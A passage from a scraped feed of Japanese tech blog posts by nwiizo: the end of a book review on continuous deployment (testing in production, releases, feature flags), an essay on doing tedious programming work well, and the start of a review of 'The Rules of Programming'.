Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテクチャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへの影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー🌏あの名台詞、英語で言ってみよう!\"誉れは浜で死にました。ハーンの首をとるために。\"\"Honor died on the beach. Khan deserves to suffer.\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常にシンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don't Repeat 